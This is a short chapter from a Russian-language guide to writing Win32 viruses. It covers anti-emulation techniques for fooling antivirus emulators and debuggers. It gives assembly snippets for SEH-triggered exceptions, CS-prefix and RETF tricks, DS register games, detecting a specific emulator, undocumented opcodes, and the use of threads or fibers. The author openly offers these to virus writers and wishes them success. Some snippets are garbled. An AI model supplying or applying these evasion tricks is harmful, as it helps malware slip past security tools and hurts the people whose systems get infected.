Путеводитель по написанию вирусов под Win32

         

Антиэмуляторы


Как и многие другие части этого документа, эта маленькая глава является совместным проектом между мной и Super'ом. Далее следует небольшой список того, что необходимо знать для обмана AV'ишных эмуляторов, как и некоторых небольших отладчиков. Наслаждайтесь!

- Генерирование ошибок с помощью SEH. Пример:

pseh >jmp virus_code&rt; dec byte ptr [edx] ; >-- или другое исключение, например 'div edx' [...] >-- если мы здесь, нас отлаживают! virus_code: rseh [...] >-- код вируса :)

- Использование сегментного префикса CS. Например:

jmp cs:[shit] call cs:[shit]

- Использование RETF. Пример:

push cs call shit retf

- Игра с DS. Пример:

push ds pop eax

или даже лучше:

push ds pop ax

или еще лучше:

mov eax,ds push eax pop ds

- Детектирование эмулятора NODiCE с помощью трюка PUSH CS/POP REG :

mov ebx,esp push cs pop eax cmp esp,ebx jne nod_ice_detected

- Использование недокументированных опкодов:

salc ; db 0D6h bpice ; db 0F1h

- Использование тредов и/или фиберов

Я надеюсь, что все это окажется для вас полезным :).



Содержание раздела